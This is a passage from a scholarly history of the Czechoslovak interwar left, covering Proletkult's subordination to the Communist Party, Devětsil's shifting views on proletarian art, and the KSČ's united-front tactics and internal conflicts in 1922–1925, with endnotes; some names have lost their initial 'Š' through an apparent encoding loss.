The conference eventually approved Proletkult's organizational rules, which subjected it fully to party leadership. Section 3 of the organizational rules states: "All three bodies of Proletkult's secretariat37 are subject to the supervision and the authority of the party executive."38 The Proletkult magazine, whose editor was to be appointed by the KSCˇ executive, was subordinated to the press censorship committee, a stand-alone institution that formed part of the party's executive. All organizations of the Communist Party were obliged to subscribe to Proletkult.
Lack of trust in the party's intelligentsia seeped through the congress meetings, proof of which are these words from meral: "Under no circumstances can we allow the Communist Party's educational activities to be conducted parallel to the political activities of the Communist Party; on the contrary, it must be in compliance with political views, daily concerns and needs. In terms of organizational rules, this must be strongly reflected by not selecting the functionaries responsible for the party's educational activities from some men of letters, aesthetes, writers or various other intellectuals, who stand on the party's periphery like kibitzers on the battlefield of revolution, but these should be chosen from among the best political functionaries."39 What is interesting is that in the entire text of Proletkult's organizational rules, there is no definition of its activities.
The overall result of the congress in the issue of Proletkult is the diminished role of S. K. Neumann. Although he was appointed editor of the Proletkult magazine, he had to conform to the party's control. Following the congress, the Central Educational Council was established, whose responsibility was to oversee the cultural workers' activities. This organization, directly subordinated to the central executive committee of KSCˇ, replaced the relatively autonomous Cultural Committee of Proletkult.40 The Communist Party leadership assumed a very skeptical attitude toward Proletkult's activities. An expression of this skepticism was a meeting of the Central Educational Council41 held on April 9, 1923. The central executive committee of KSCˇ posed three questions related to the future of Proletkult. The question whether under the current circumstances it was useful to publish the Proletkult magazine was answered by the Council in the affirmative. The Council also supported the magazine's theoretical focus, which the party leadership intended to transfer to a more fictional style and move the theoretical articles to the Communism magazine, which was published alongside Proletkult. The Council also rejected the party leaders' request that next to Neumann's Proletkult, the organization's newsletter be also published, which would be controlled directly by the party's central executive committee. However, the Central Council ordered Neumann to substantially extend the newsletter section of the magazine.42
In 1923 the magazine experienced a major crisis, caused mainly by a lack of interest in it. Starting with its twenty-seventh issue, it is published only as a biweekly. "We have reduced its price [Proletkult's price] to half and hope that there will not be a single conscientious communist who will not read Proletkult in his or her own best interest."43 After that, in almost every issue we find appeals for more subscriptions and spreading of the magazine. Proletkult finally comes to an end on January 9, 1924 with its thirty-ninth issue. Officially, the magazine was closed down due to a decision taken by the first congress of KSCˇ in order to centralize the party's press. In January 1924, Proletkult merged with the Communism and Agitator magazines to form Komunistická revue. As of this time, it was fully subordinated to Party leadership—it is symptomatic that its first article, "Goals of Our Revue," was written by B. meral. In his opinion, Komunistická revue should watch over the purity of communist ideas, which in practice meant "not letting the great revolutionary goal out of its sight—attaining power by the proletariat, supported by working farmers."44 S. K. Neumann still remained secretary general of Proletkult, a position fully subordinated to the secretary of the Communist Party, A. Zápotocký. Proletkult itself focused on promotional and educational activities, while its cultural, or artistic aspect, was suppressed.
Deveˇtsil, the Literary
Group and Proletarian Culture
I have already mentioned that beside the concept of proletarian culture, promoted mainly by S. K. Neumann in the Proletkult magazine, there were also other perspectives on this issue. Probably the best-known view which stood in opposition to Neumann was the concept of proletarian culture promoted by the Deveˇtsil Artistic Federation, whose membership base partially overlapped with that of Proletkult, for example, K. Teige was a member of the group around the Cˇerven magazine already in 1919, V. Vancˇura was a member of Proletkult's Cultural Council, H. Sonnenschein was even an ambassador of the Association of Communist Groups at the congress of the Komintern, and so on.
The first presentation of Deveˇtsil's views was the lecture Proletarian Art given by Jirˇí Wolker. The following quotation provides a clearer picture of Deveˇtsil's views of proletarian culture:
We consider the current order unsustainable and unjust and believe in a better reconstruction of society. We find the new, specific plan in Marxist principles and view the world through the eyes of historical materialism. Therefore, for us the new art is that of the classes, the proletariat, a communist art. We do not wish to debate its possibility. To us it represents a benchmark and reality. . . . The new characteristic of the new art is revolutionism. An artist abandons the cult of the personal approach and joins in with the multitude of those who are fighting one and the same battle. . . . Collectivism replaces individualism, l'art pour l'artism is replaced by the tendency. . . . The new art will be realistic. With all our hearts we believe in the specific. . . . We will portray facts, which will be reality.45
In his lecture, Wolker defined precisely what he alone was willing to adhere to. Although his entire work can be critically measured against the resolutions from his lecture, the work of other Deveˇtsil members respected Neumann's definition of proletarian culture only marginally, and with not much success. While Wolker was a true proletarian poet both in form and content, unafraid to even call his own art tendentious, the work of other Deveˇtsil members, led by Teige's theoretical tone, although not forgetting to proclaim their loyalty to Marxism, the Communist Party and proletarian art, was influenced by individualism and modern trends, so patiently and meticulously surveyed and presented to the other members by Teige the theoretician.
It is not clear whether the individual members of Deveˇtsil were familiar with Wolker's lecture and whether they agreed with it, but their subsequent activities at least did not confirm their inner identification with proletarian art. What is also important is that Deveˇtsil distanced itself from organizing itself in communist organizations, especially Proletkult.
The Literary Group's sphere of activities was mainly in Brno, where the editors of the Host magazine led by J. Goetz and J. Mahen were located. The parallel existence of the Literary Group and Deveˇtsil meant in fact the division of the "generation of the twenty-year-olds"; however, close contacts were maintained between both groups, especially by members of the Literary Group who traveled to Prague. One of them was J. Wolker; another Moravian artist who cannot be ignored in terms of Deveˇtsil's activities was Víteˇzslav Nezval.
Just like the other Moravians, Nezval was also a member of the Literary Group, which rejected Deveˇtsil's enthusiasm for proletarian revolution. If we wanted to sum up his opinions, we could refer to the early stages of Neumann's work. Similarly as Neumann in the last decade of the nineteenth century, Nezval also had his roots in Kropotkin's anarchism rather than Marxism or Leninism. In his memoirs, Nezval admits becoming acquainted with the Communist Manifesto only upon his arrival in Prague to start his studies.46 Still at the beginning of 1922, Nezval viewed Deveˇtsil rather skeptically, as documented in his letter to Jirˇí Svoboda of March 11, 1922:
The Deveˇtsil Artistic Federation is made up of several young people who profess approximately the following: away with everything that is here now or that was here before. In the name of Marx and revolution we have founded a literary group, which will use terror to fight everything around us, because what we want from Marx is an austere and strict church as in the Middle Ages. . . . They also wanted me to join Deveˇtsil, but I am not attracted to the masses.47
However, Nezval attended Wolker's lecture already as a member of Deveˇtsil.
Nezval's arrival in Deveˇtsil meant the end of proletarian art in this group. Nezval the individualist soon drove out Wolker and replaced him in his position as Teige's "insinuator." Just like the other members of Deveˇtsil (with the exception of Wolker), Nezval also more or less unsuccessfully attempted to write proletarian poetry. Compared to the quantity and quality of his modernist poetry, the results of his endeavors were rather dismal. Nezval did not have much respect for Wolker's artwork and plotted against him in all kinds of ways. The following is an extract from another of Nezval's letters to J. Svoboda from December 30, 1922:
According to Kalista, Wolker's play [Nejvyšší obeˇť—transl. The Greatest Sacrifice] was a total flop and kitsch of the worst kind, but [probably should have been 'and'] Teige wrote to me that the play was very poor, dully conventional and naturalistic. And believe me, George, when I say that in our Anthology [Deveˇtsil], among the works of Seifert and Cˇerník, the Ballad of the Stoker's Eyes shrinks to a garrulous, traditionalist and tediously elegiac poem, and that Wolker's most recent poem, Dvojzpeˇv noci (The Nighttime Duet) radiates boredom, the poet's overly expressed wisdom and old age.48
It is no wonder then that at the beginning of 1923, Wolker left Deveˇtsil for the Literary Group. Paradoxically, with Wolker's departure Deveˇtsil lost an artist who dealt the most and the best with proletarian art. Moreover, Wolker joined the Literary Group, which only a few months before had distanced itself from proletarian art and espoused utopian socialism: "We do not believe in historical fatalism, in pre-determined development of the world to social and economic revolution."49 Probably because of Wolker's bad health, Teige refrained from a critical campaign.
Almost all other leftist artists expressed doubts about Deveˇtsil's ability to create proletarian art. J. Hora objected to the absence of a definition of proletarian art in Deveˇtsil. A. M. Píša voiced doubts whether because of their age the members of Deveˇtsil would be able to achieve the goals of proletarian art. At this time, S. K. Neumann paid attention to Deveˇtsil only marginally as he was putting Proletkult together. It was Neumann who partly softened the difference of opinion between the older and middle-aged generation of leftist artists and the young "generation of twenty-year-olds" when in his article "Campaigning Art" he rejected the idea that proletarian art must serve only as a tool of agitation for the communist party.50 According to Neumann, the goals of proletarian culture were public education and edification of the working class, which was denied this by the bourgeois regime. J. Hora was in agreement with this opinion and added that proletarian art must be diverse.
The middle-aged and older generation, for whom the proletarian motif and a simple, usually descriptive style were typical, thus gave the young generation space for proletarian artwork. This occurred at a time when because of his illness Wolker's art production was very limited and Deveˇtsil was sobering up from its euphoria for proletarian art. All of its members attempted to create proletarian art, but poems celebrating the Communist Manifesto and other proletarian fetish could not hold a candle to the quality of Wolker's work. Teige, Deveˇtsil's ideologist, still waged attacks in different directions—especially on the Literary Group—from his position as a theoretician of proletarian culture, but Deveˇtsil's own activities gradually started to divert from proletarian art. For the first time, although not last, Teige looked for a way out of a pigeon hole which he himself had created.
A symbolic end to the proletarian chapter of Deveˇtsil came in the form of Jirˇí Wolker's death at the beginning of 1924. Following his passing, Deveˇtsil still declared its loyalty to proletarian art, but the poetry which its members turned to in the mid-1920s had very little in common with the original design of proletarian art. S. K. Neumann used these words to comment on the diversion: "The young from Deveˇtsil have done something very reasonable. They are leaving behind the declamations and farfetched theories of proletarian art and are following the voice of their heart. Their hearts are closer to the circus racket and the busy commotion under the tent of the modern 'art world' . . . than the ascetic goal of educating and entertainingly encouraging the proletariat to revolt. I do not reprove them for it, I just state the facts."51
In spite of all the aforementioned criticism and facts, Deveˇtsil undoubtedly remained a group which very noticeably influenced the form of leftist art and culture in Czechoslovakia between the two world wars. Therefore, I will further survey its activities and the activities of its members and followers in the following chapters.
Notes
1. S. K. Neumann, Konfese a konfrontace (Prague: Cˇeskoslovenský spisovatel, 1988).
2. There existed, for example, the Federation of Cultural and Public Education Associations, Federation of Workers' and Physical Training Associations (these two were formally incorporated into the structure of the Social Democratic Party), the Czechoslovak Workers' Amateur Actors Association, the Non-believers Association, and so on.
3. "Proletarian art," Prˇítomnost 2, no. 33 (August 1925).
4. Sociální demokrat, 6 June 1919, 3.
5. Jirˇí Weil, Kulturní práce Soveˇtského Ruska (Prague: Vortel a Rejman, 1924), 25.
6. Weil, Kulturní práce, 25.
7. Sociální demokrat, 12 February 1920, 4–5.
8. Kmen, 14 October 1920, 370–71.
9. For example, the hard life of workers, criticism of the bourgeois regime, celebration of the success of communism in Russia, and so on.
10. Den 1, no. 20.
11. Karel Teige, Deveˇtsil (Prague: Vecˇernice, 1922).
12. Cˇerven, 12 May 1921, 87.
13. The Deveˇtsil Association called its magazine Revue.
14. Cˇerven, 7 April 1921, 11–12.
15. Rudé právo, 14 August 1921, 2.
16. Cˇerven, 29 September 1921, 282.
17. Formerly called Social Democrat, renamed in April of 1921.
18. Komunista, 23 September 1921, 2.
19. Komunista, 30 September 1921, 1.
20. Cˇerven, 8 December 1921, 368.
21. Proletkult, 4 January 1922, 1.
22. Proletkult, 1.
23. The cultural committee was comprised of: R. Beckmann, F. Benák, L. Beran, J. Bubník, J. Cˇechácˇek, Doležal (first name unknown), J. Gallas, O. Chlup, A. Jarolímek, L. Görlich, J. Hora, F. Houser, Junius, I. Olbracht, A. Polák, J. Skalák, V. Vancˇura, and E. Zubák. Proletkult 1, no. 2, 15.
24. Proletkult 1, no. 4, 63.
25. Ferdinand Peroutka, Boje o dnešek (Prague: F. Borový, 1925), 23.
26. Komunistická strana Cˇeskoslovenska a kultura. Sborník dokumentu˚, projevu˚ a Cˇlánku˚ ke kulturní politice KSCˇ (Prague: Vysoká škola politická ÚV KSCˇ, katedra kulturní politiky, 1973), 36–37.
27. From A. Zápotocký's statement at a meeting with representatives of the Federation of Cultural and Public Education Associations and Proletkult, held on May 15, 1922, as per Proletkult 1, no. 21, 289.
28. Proletkult 1, no. 27, 16.
29. Proletkult 1, no. 33, 110.
30. Proletkult 1, no. 35, 130.
31. Proletkult 1, no. 44, 284.
32. Proletkult 1, no. 45, 302.
33. Proletkult 1, no. 52, 401–402.
34. Proletkult 2, no. 3, 33.
35. Proletkult 2, no. 4, 54.
36. Proletkult 2, no. 4, 54.
37. The Secretary, Proletkult's Central Work Committee and the Proletkult weekly as its press agency.
38. Komunistická strana Cˇeskoslovenska a kultura. Sborník dokumentu˚, projevu˚ a Cˇlánku˚ ke kulturní politice KSCˇ, 8–44.
39. Protokol 1. Rˇádného sjezdu Komunistické strany Cˇeskoslovenska 2.–5. února 1923 (Prague: Svoboda, 1989), 279.
40. The Central Educational Committee was comprised of: Benák, Beran, Bleha, Branislav, Cˇechácˇek, Doležal, Friedrich, Gallas, Görlich, Guttmann, Majerová, Hoch, Houser, Hu˚la, Liška, Michal, Pollak, Vaneˇk—first names not provided. Proletkult 2, no. 7, 119.
41. In literature sometimes referred to as the Central Work Committee.
42. Proletkult 2, no. 12, 171.
43. Proletkult 2, no. 24, 384.
44. Komunistická revue, 1 February 1924, 3.
45. Var 1, 1 April 1922, 271–75.
46. Víteˇzslav Nezval, Manifesty, eseje a kritické projevy z let 1931–1941 (Prague: Cˇeskoslovenský spisovatel, 1974).
47. Jirˇí Svoboda, Prˇítel Víteˇzslav Nezval (Prague: Cˇeskoslovenský spisovatel, 1966), 93.
48. Svoboda, Prˇítel Víteˇzslav Nezval, 2006.
49. Host 2, no. 1–4, October 1922.
50. Proletkult 2, no. 20, 300–302.
51. S. K. Neumann, Konfese a konfrontace (Prague: Cˇeskoslovenský spisovatel, 1988), 444.
# Chapter 8
## The Left in the
First Half of the 1920s
KSCˇ and the Tactic of a United Front
Virtually straight after its establishment in late October and early November of 1921, the Communist Party of Czechoslovakia began to practice the tactic of a united front, which was approved by the third congress of the Communist International. What such a front was supposed to look like is expressed in the speech by G. Zinoveˇv presented before the Executive Committee of the Comintern on December 4, 1921:
As the present is a time of division and because we have gained notable power, we can, in certain conditions, collaborate with the Second and Second-and-a-half International in order to bring the wider masses to communism. If we had not split away, we would not have become such a factor that we are nowadays and we would not be able to carry out this maneuver. It is quite possible that we will have more splitting to do, but we will still go up to the socialists and say: Yes, we support a union based on this and we ask all socialists to support it as well. We will make a formal compromise, but we will remain an independent party.1
Bolsheviks thus decided to infiltrate and subvert noncommunist leftist organizations.
The main tool for gaining noncommunist proletariat was supposed to be the activity of the communist groups in the up-to-then united Trade Union of Czechoslovakia. However, when it came to this issue, meral's leadership clashed with the leftist wing of the Communist Party, represented mainly by B. Jílek and V. Bolen. The Left was against communist unionists staying in the united trade unions; moreover, it did not even agree with the mass concept of the Communist Party. According to Jílek,
as a mass party [KSCˇ], it must be permeated by a flexible apparatus, which would react to every instruction from the party's leadership and at the same time precisely set the party's direction. A mass of people is not flexible, even if it consists of people with one and the same goal. The mass moves like a mammoth. It's hard to turn around, hard to control. . . . In our party we must not abide solely by the rule of just increasing our numbers. Our joint effort should be to deepen the class consciousness of all party members, enhance the party's strength and strengthen its class character.2
According to Jílek, the Communist Party was to be formed as a fairly narrow political body in terms of its numbers, which would be able to function operatively and react quickly to any change in conditions. Jílek's concept of the party as a vanguard of the working class was in direct contradiction to the tactical requirements of the Communist International and also meral's leadership.
The conflicts between the two groups intensified following the congress of the Trade Unions of Czechoslovakia held in late January and early February of 1922, where communists failed to gain leadership positions for their delegates. Before the congress, the Comintern issued the following instructions: "The breakup with Amsterdam should in no way have any impact on the unity within trade unionism in your country. On the contrary, it is essential that the unions stick together and remain strong. They must incorporate workers of all political affiliations. . . . Whichever program your congress decides on, either Moscow's or that of Amsterdam, the Czechoslovak trade unions must unconditionally remain united."3
However, following the failure at the party's congress, the Left within KSCˇ demanded that the communists leave and form their own trade union. This idea was most actively supported by Václav Bolen, chairman of the Agriculture and Forestry Trade Union. It was under Bolen's leadership that the union was expelled from the Trade Union for not having paid the membership fees. meral immediately accused Bolen of doing so deliberately. The Communist International attempted to appease the conflict between KSCˇ and the Left. In July of 1922, a wider meeting of the Executive Committee of the Comintern was held in Moscow, at which Karl Radek gave an account of the situation in KSCˇ:
There is undoubtedly tension in the leadership of the Czechoslovak communist party between the group comprised of Muna, meral, and Kreibich on the one hand, and the group consisting of Jílek and Dr. Václav Houser on the other. The reason for the dissention between these two groups lies in the fact that the spirit of last year's conflicts between meral and the Left still lingered. . . . The Executive Committee must take the healthy, proletarian and revolutionary part from Jílek and Houser's group and use it to strengthen and focus the right politics of meral.4
For meral, taking over the Trade Union of Czechoslovakia was also the final marginalization of the influence of the Social Democratic Party. Therefore, he tenaciously insisted on the communist groups remaining part of the united trade unions. However, in mid-1922 the trade unions took steps to get rid of the communist element. Apart from the Agriculture and Forestry Trade Union, also the pro-communist part of the Metal Workers Union and the rather numerous (78,000 members) Communist Chemicals Workers Union were expelled from the Trade Union of Czechoslovakia. In October of 1922, the two expelled organizations merged to form the International All-Union League, the so-called Red Trade Unions, which joined the Moscow-based Revolutionary Trade Union International. Thus, the communists lost any influence in the strongest trade union in Czechoslovakia, for which the representatives of the Left were expelled from the party in September of 1922.
Communists also tried to negotiate the united front with representatives of the Czechoslovak Socialist Party. In mid-1922, a meeting took place in parliament between the delegations of the two political parties.5 Following the meeting, imek of the Socialist Party made this note: "Czech communists, not giving up on their ultimate goals, would be willing to form a majority [meaning a majority socialist government] with all socialist parties. . . . They demanded primarily a united front of the proletariat for the current and future struggle for higher wages. They do not wish to take the initiative. That would be our job, to negotiate with the social democrats."6 However, the socialists did not trust the offers made by the communists and there were no more meetings between the two parties.
The only exception was the leftist faction in the socialist party, represented by former anarcho-communists, who found themselves in conflict with Klofácˇ's party leadership in May of 1922, when they refused to return to the party's name, the Czechoslovak National Socialist Party. Klofácˇ strongly criticized the Left and considered them to be communist cells in the party. The Presidium of the Central Committee of the Czechoslovak Socialist Party then issued a resolution, which ruled out any kind of collaboration with the communists:
The communist party once subverted a strong social democratic party and now it systematically subverts trade union organizations. By striving to form a united front and mainly the social [probably should have been joint] effort, the communist party pursues a well thought-out plan to infiltrate our supporters and under the pretense of a united front campaign for the communist tactic and, when the time is right, plans to bring about the collapse of our party. All of this is being done on orders from Moscow, which even authorized the use of radical methods of fighting.7
Thus the Communist Party did not find an ally on the Czech political scene in 1922 for its tactic of a united front and was forced to rely solely on its own strength, which on the one hand was weakened by disputes within the party, and on the other by the joint action of the other political parties against the communists. For example, the five parties intentionally postponed the local government election scheduled for the fall of 1922, in which the communists could have won positions at the expense of an appreciably weakened Social Democratic Party. According to J. Hudec, "following the split, the communists were undoubtedly dominant, while the social democrats fought hard to gain one lost position at a time."8 The social democrats also maintained their majority of deputies in the National Assembly,9 while the communists demanded a preliminary election in the hopes of a major strengthening of their positions.
On November 5, 1922, the fourth congress of the Communist International was held in Moscow, which among other things also dealt with the disputes in its Czechoslovak section. The congress cancelled the expulsion of the representatives of the Left and punished them "only" by ridding them of all offices until the next congress of KSCˇ. This intervention by the Comintern proves that the Communist Party of Czechoslovakia was almost completely subject to the Moscow leadership. The Left was criticized mainly for wanting to publish its own press (the Komunista magazine), which constituted a gross breach of party discipline. The congress also rejected the accusation by the Left, according to which meral had attempted to form a government with socialist parties.
The demands in the opposition's political program, expressed in its draft compiled by Vajtauer, include syndicalist and anarchist, and therefore non-Marxist and non-communist views. The fact that the opposition backs these views only proves that when it comes to these main issues, the opposition displays an anarcho-syndicalist tendency, which diverts from the main principles of the Communist International. Still, the Fourth congress considers the expulsion of the opposition from the party inexpedient.10
meral's leadership was also the subject of criticism, especially for its erroneous concept of the tactic of a united front as a coalition with socialist parties, and for underestimating the fight for the united front built from the bottom upward.
The party must know well that a workers' government in Czechoslovakia is possible only if by extensive campaigning we manage to convince the masses of the national socialist, social democratic and non-partisan workers of the necessity to part with the bourgeoisie, and if part of the agricultural workers and part of the petit bourgeoisie that suffer from the high prices split from the bourgeoisie and join the anti-capitalist front.11
Two months later (February 2 to 5, 1923), the conclusions of the congress of the Comintern were discussed at the first regular congress of KSCˇ. Antonín Zápotocký presented one of the main tasks assigned by the Comintern, which was "to watch over the purity of the members of the communist party and carry out occasional registrations and parades, check their activity and expel those who turn out to be useless and unreliable, or those who harm the interests of the party."12
Bohumír meral claimed at the congress that the leftist opposition led by Jílek attempted to remove him from office in Moscow and thus split the party. meral saw the Comintern's decision to accept the seven expelled representatives of the Left back into the party as a threat to his own position (this concern was subsequently confirmed after the fifth congress of the Comintern). The congress set the motto of a workers' government to be the main goal, whereas little attention was paid to the problems of the communist party's influence in villages. This diversion from the Comintern's instructions was done away with in mid-1923, when the KSCˇ leadership decided that the united front must also include the Agrarian Party, particularly by separating its lower echelons. However, the party continued to declare itself as a proletarian party and refused to integrate agricultural workers. For example, V. Friedrich wrote the following in the Komunismus magazine: "We know very well that agrarian parties cannot play forever their independent political role. Agricultural workers will either follow the bourgeoisie or join the proletariat. . . . The proletariat has much more to offer the poor from the country and small farmers than the bourgeoisie."13
The congress passed a policy defining the most important tasks, which among other things assessed the state of socialist parties. "Social democrats discredit themselves more and more every day, there are clear signs of disintegration among Czech socialists. The influence of our party on the masses is good."14 The resolution further set the obligation for all party members to campaign among noncommunist workers. Communists who were members of noncommunist trade unions were forbidden to leave them; on the contrary, they were to take advantage of their position to gain more supporters from among the noncommunists. Thus, a mass infiltration of noncommunist parties and trade unions was started.
Departure of Anarchists from
the Czechoslovak Socialist Party
The hopes, thanks to which people around B. Vrbenský joined the radicalizing national socialist party, were left unfulfilled. Anarcho-communists were not represented in the top positions of the newly formed socialist party, with the exception of the ministerial post temporarily held by B. Vrbenský. Together with V. Bartošek, Vrbenský drew up a very radical program of the socialization of the state, which included the confiscation of industrial, commercial, and transport companies with more than twenty employees, tenement houses, former imperial farms and manors, and so on.15 However, this program was not well accepted by the socialist party, and furthermore, in the spring of 1919, Vrbenský was removed from his ministerial post.
Although unhappy with their role in the Socialist Party, the people around Vrbenský were hesitant to follow the lead of their anarchist colleagues—Neumann's Prague Group—who joined the newly formed Communist Party. Vrbenský was afraid of a communist coup in the Czechoslovak Republic, which would result in an embargo on Czechoslovakia and thus in the suffering of its people. His concerns were fuelled by the situation in Soviet Russia. Anarcho-communists thus remained as the left wing of the socialist party.
In 1922, the disputes between the left and the party's leadership intensified and reached a critical stage following the resolution of the presidium of the party's central committee issued on September 24, 1922, which I mentioned in the previous subchapter. As of that moment, the anarcho-communists became an undesirable element in the party, while the anarcho-communists themselves in their actions ceased to take the policies of the party's leadership into consideration. L. Landová- tychová played the most active role in the process of alienation when in the fall of 1922 she joined several activities of the Communist Party.16 In spite of the negative position of the party's leadership, Landová- tychová demanded that commercial relations be established with Soviet Russia.17 B. Vrbenský defended her actions before the party's leadership.
The beginning of 1923 saw an event which substantially influenced not only the left, but the entire development of the Czechoslovak political system. Alois Rašín, a national democratic politician and the minister of finance, was attacked on January 5. Two weeks later, Rašín died as a result of the injuries he suffered during the assassination attempt. The assassin, J. oupal, was a bank clerk with anarchist opinions and a former member of the Social Democratic and Communist Parties.
The terrorist act caused a wave of anti-communist sentiment. "Several hours after the public learned about the assassination, leaflets were distributed in Prague calling a public gathering as a protest against the committed murder. . . . At the meeting, for the first time ever, a movement which had just started to form only a few months before spoke publicly. It was a movement demanding strict government and welcoming fascism in Italy."18 The main demand of the Czech fascists was the fight against the communist threat, but they also supported a major limitation of democratic rights in Czechoslovakia.
Following long negotiations and mainly as a reaction to pressure from the socialist parties and the Czechoslovak president, the leadership of the Czechoslovak National Democratic Party finally distanced itself from its fascist faction. The five parties agreed to pass a law on the protection of the Czechoslovak Republic, which had already been drawn up the year before, but the government parties were hesitant in accepting it. "Following the assassination of A. Rašín, the situation objectively improved. The discussion on the bill was accompanied by a fierce campaign against the communist party, which was held responsible for the assassination."19
During the months of January and February, a heated debate took place in the party press about the chance to pass the law on protection of the Czechoslovak Republic. Politicians and journalists supported the bill in the press organs of all government parties. The only exception was the socialist paper Cˇeské slovo (The Czech Word), which published several articles opposing the bill. The articles were written by supporters of the left opposition, mainly V. Borek and J. Kozák, who were both laid off from the Cˇeské slovo magazine because of the articles. Also against the bill were the former anarchists from the socialist party, who in March of 1923, together with deputies from the Communist Party of Czechoslovakia, the Slovak People's Party, parties of national minorities and several deputies from the Czechoslovak People's Party, voted against the bill.
Already on March 8, the disobedient socialist deputies—B. Vrbenský, L. Landová- tychová, T. Bartošek, and V. Draxl—were expelled from the party by a vote of the central committee of the Czechoslovak Socialist Party. All of the above-mentioned expelled members joined the party in 1918 as former anarcho-communists. Several other former anarchists (Borek, tych, Danda, Hrdlicˇková- rámková) spoke out against the expulsion; however, shortly afterward, they were also expelled from the party. On June 22, 1923, the four expelled deputies were removed from their legislative posts by the electoral court.
The expelled socialists immediately began to surround themselves with former anarchist groups, gaining support in their traditional region in North Bohemia. From the point of view of this publication, an undoubtedly important achievement was the acquisition of the splinter group from the Association of Independent Czechoslovak Socialist Students, led by Ivan Sekanina. Vrbenský and his followers first claimed their expulsion was not legitimate and continued to consider themselves members of the Socialist Party. They also set up a "splinter" magazine called Cˇeskoslovenský socialista (Czechoslovak Socialist), later renamed Socialista (Socialist). In parliament, anarchists joined forces with people who had broken away from the Social Democratic Party,20 forming a joint club called Socialist Unity. Following the electoral court's decision regarding the removal of the deputies from office, on June 28 and 29 the group transforms itself into the Independent Socialist Workers' Party, which supports the idea of collaborating with KSCˇ in the united front, yet it rejects any consideration of joining the Communist Party, "as they have their own idea of party discipline, and the discipline of the communist party is unacceptable to them."21 Vrbenský and other former anarchists surely did not identify themselves with the method of democratic centralism, which was implemented by the communist leadership.
Despite their different views on some issues, the two parties—Independent Socialists and the Communists—collaborated in many areas, mainly in organizing the strike movement. When in September of 1924 Brodecký's group returns to the Social Democratic Party, the Independent Socialist Workers' Party started to find a way of merging with KSCˇ. At the party's second congress on September 26 to 27, 1925, the Independent Socialists voted on whether to join the Third International and merge with the Communist Party of Czechoslovakia; however, the party's trade union organization opposed this decision.
The Independent Socialist Workers' Party was definitively dissolved at the third congress of the KSCˇ, which was held practically at the same time as the congress of the Independent Socialists (September 26 to 28, 1925). Two former anarchists became members of the Communist party's executive committee and L. Landová- tychová, the most active supporter of the merger, was elected to the National Assembly on the communist ballot in the parliamentary elections in the fall.
The dissolution of the Independent Socialist Workers' Party meant the disappearance of an interesting, yet not very strong element of an anarchist concept of socialism from the Czechoslovak political scene. The entry of Vrbenský's group to the KSCˇ was only a logical consequence of the events that had taken place in Czechoslovak politics from 1918. The reason why the anarchists divided themselves in their view of the forming communist left in 1920 can be found not in the ideology implemented by the communists, but mainly in some individuals, who took the lead of the social democratic left. The anarchists' resistance to meral's opportunism was so strong in so many of them that they postponed their merger with KSCˇ until his formal removal as head of the KSCˇ.
KSCˇ in the Years 1924–1925
Overcoming the lengthy postwar economic crisis which struck Europe between 1921 and 1923 meant for the world communist movement a need to change their fight tactics. The temporary stabilization of capitalism, as the Marxist-Leninist terminology called the economic growth between 1924 and 1929, did not result in the loss or weakening of the electoral base of the KSCˇ. The other political parties had the chance to find that out as early as in March 1924 during the by-election to the National Assembly in Subcarpathian Ruthenia. "Here communists achieved a real victory, gained five mandates back, while all the other parties gained only four mandates."22 The success was all the bigger as laborers, who presented the main support base of the Communist Party, constituted a much smaller part of the population in Subcarpathian Ruthenia than the 40 percent of the vote they got.
The main tactical issue of the Communist Party even at this time remains the infiltration of trade union organizations affiliated with other political parties. This trend was confirmed by the nationwide conference of the KSCˇ held in Brno on May 4 and 5, 1924. The passed resolution on the tactic of the KSCˇ in trade union organizations reads:
Conquering the trade unions continues to be a task for the communists and individual party members' departures from the reformist trade unions cannot be tolerated by the party. The opinion of some party members that all communists belong in red trade unions, formed as a result of the dissension within reformist organizations, contradicts the fundamental view of the communist party of its members' role in the trade union organizations. Communists working in reformist or reactionary trade unions and fulfilling their revolutionary duties cannot be considered lesser comrades and can in no way be punished by their political organizations. On the other hand, disciplinary action can be led against those who are members of reformist organizations but do not follow the instructions of the party regarding campaigning and propaganda. . . . The motto under which we are going to conquer the trade unions will be: One plant—one class international industrial organization. This motto shall be used for promotional purposes, which means that individuals are not to be brought to join the red trade unions, instead, all the other trade union organizations of the particular plant shall be recruited for the idea of a united industrial organization.23
Communists intended to achieve the proclaimed united front by causing dissension and subsequently taking over noncommunist trade union organizations. Apart from the trade unions affiliated with Social Democracy, the Socialist Party and also partly the Agrarian Party, the resolution also explicitly mentions the need to infiltrate the trade unions of German political parties, which, according to the communists, were to be considered separatist and disrupting internationality (meaning the national internationality of communists of all nationalities in Czechoslovakia).
Apart from the issues of tactics, the conference also dealt with the problems of the internal structure of the Communist Party. It is clear from the Resolution on the Reconstruction of the Party's Organizational Structure that it was necessary to give up the territorial type of organizations and instead build up a party based on plant-based sections; the Resolution rejects the expression 'cell' as unsuitable, "as in Czech it does not refer to an independent organizational unit, but it also mistakenly denotes a mere faction."24 Generally, the proposition for changes is rather unclear and refers to the outcome of the fifth congress of the Communist International and the second congress of the KSCˇ.
The fifth congress of the Comintern convoked in Moscow from June 17 to July 8, 1924, was mainly supposed to set the direction for the international communist movement following the death of V. I. Lenin. The congress stated that the failure of the revolutionary struggles in Germany, Bulgaria, and Poland in the fall of 1923 was a sign of the changing international conditions for spreading world revolution. The solution to this situation was supposed to be the Bolshevization of individual communist parties, sections of the Third International.
Czech communists themselves interpreted the term Bolshevization as "the process of internalizing the internationally relevant qualities of Bolshevism by individual sections of the Communist International, which took place during a tenacious fight for dictatorship and with the assistance of the Third International's leadership."25 In fact, Bolshevization means the utter subordination of individual sections of the Communist International to its Moscow-based headquarters and potentially replacing the national leaders who might not want to fully conform to the policies of the Comintern with more loyal communists.
The Czechoslovak delegation was subjected to criticism for the continuing "social-democratic element. The entire party leadership, i.e. deputy Dr. meral, deputy Kreibich, secretary Zápotocký, and Muna, received a vote of no confidence. All of a sudden, they were criticized for opportunism and the tendency to lean to the right. Part of the Czechoslovak delegation openly spoke out against the above-mentioned leaders and their politics."26 Two different opposition groups form against meral's leadership. On the one hand, there was the pro-Stalin group of mainly the young generation (Klement Gottwald, Jan verma, etc.), and on the other hand the people demoted at the fourth congress of the Comintern (Jílek, Bolen, etc.)
meral attempted to defend himself against accusations of social democratism, which he faced in the second half of 1924, in the communist press. For example, on March 19, 1924, he wrote this in Rudé právo newspaper: "I wasn't a revolutionary then [before the war]. I was a typical social democrat, a typical member of the Second International. I was a weak politician and I even admit to being a coward. I am fully aware of that and I am not trying to deny it."27 However, not even this self-criticism helped meral keep his post of chairman of the KSCˇ.
